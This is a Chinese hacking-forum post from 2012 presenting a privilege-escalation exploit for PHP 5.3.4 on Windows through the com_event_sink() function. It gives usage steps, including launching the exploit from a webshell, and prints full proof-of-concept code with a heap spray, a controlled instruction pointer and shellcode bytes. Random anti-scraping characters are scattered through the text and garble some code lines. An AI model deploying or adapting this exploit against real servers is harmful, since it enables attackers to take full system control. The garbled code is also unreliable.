找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2092|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中6 P! y5 i1 n8 Z# f& D& z

) L2 {) ~1 n$ K; |& ]! n1 P测试方法如下:cmd /c x:\php\php.exe x:\test.php* i% K9 d+ D) k- k
) t0 s3 `' [: Y/ |6 ]! s# ~
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
5 P) ?, N6 i7 x( b这里是两个测试的截图:
  `* ?  E+ h: I3 Y6 P& Q, r0 k2 Y' s" T1 Z2 u, d

( x/ m6 y' \* x. U" z  a6 x' @" g; J1 z- ~9 J3 u. w- x

- H* Z  e1 L" y8 V3 d: ^
4 A0 }7 U- V) B) f! Z) m成功利用此漏洞的攻击者将获得系统的最高权限5 D' i* R0 h/ b7 M* m9 m

) n/ \& m) j+ C0 D. O
& _( l4 C) @7 M! A, V+ T
7 m/ J+ L3 ?4 u3 x6 V" D& C2 O& m0 x
1 J2 l) E" P7 A6 K& {) q
关于漏洞分析稍后附上。一下是PoC代码:/ `4 |# B) H0 u0 {1 p
; I9 v4 |; J0 _1 s
<?php: }2 q6 o9 {) T7 r% Q: g
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞, W# O" U# E  Z0 _" G6 j+ l* l
//$eip ="\x44\x43\x42\x41";  C1 t2 F! F& |% S" g4 V: z
$eip= "\x4b\xe8\x57\x78";
  a' L0 P  e1 b. g$eax ="\x80\x01\x8d\x04";, _2 ~0 ]) H0 _$ M
$deodrant="";* f  Q' d; y5 K) V7 z
$axespray = str_repeat($eip.$eax,0x80);
4 a4 {% r* N8 m) ^//048d01906 m2 g5 R3 z5 T% d2 C
echo strlen($axespray);, g! C) }/ E1 B6 [# S8 b6 N
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
1 J1 A1 d  F( M8 M3 ~' ]echo "Silic Group Hacker Army - BlackBap.Org";
! W+ a- T& W3 S2 q3 Z//19200 ==4B32 4b00; ]% Q; K7 k6 _0 o" j+ j
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}) y/ \; e4 @5 o+ r& |
$terminate = "T";2 v0 |* [9 K  L
$u[] =$deodrant;# v+ R. [" p' [& e
$r[] =$deodrant.$terminate;
$ B( V: u1 R' T0 c1 f* f( E$a[] =$deodrant.$terminate;
/ A) n2 x  V$ s; ~1 |$s[] =$deodrant.$terminate;4 m6 ?0 x& ?# ?2 W( O2 l! [+ F6 z
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的+ b) P7 E! Y7 t7 D4 x; Z2 ?, @
$vVar = new VARIANT(0x048d0000+180);  L  j% ?8 r% A( D' f* k5 T
//弹窗代码(Shellcode)2 l' b- c  L6 S4 n( i
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
  t( M9 D7 E% t& |3 J/ y# m$var2 = new VARIANT(0x41414242);
$ E6 w) X. H0 ~" Y; i0 S3 Fcom_event_sink($vVar,$var2,$buffer);3 g% y& z8 [0 J1 G+ W' I
?>
: h5 d; {+ s, v) ?4 I4 Z  c4 s9 G

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表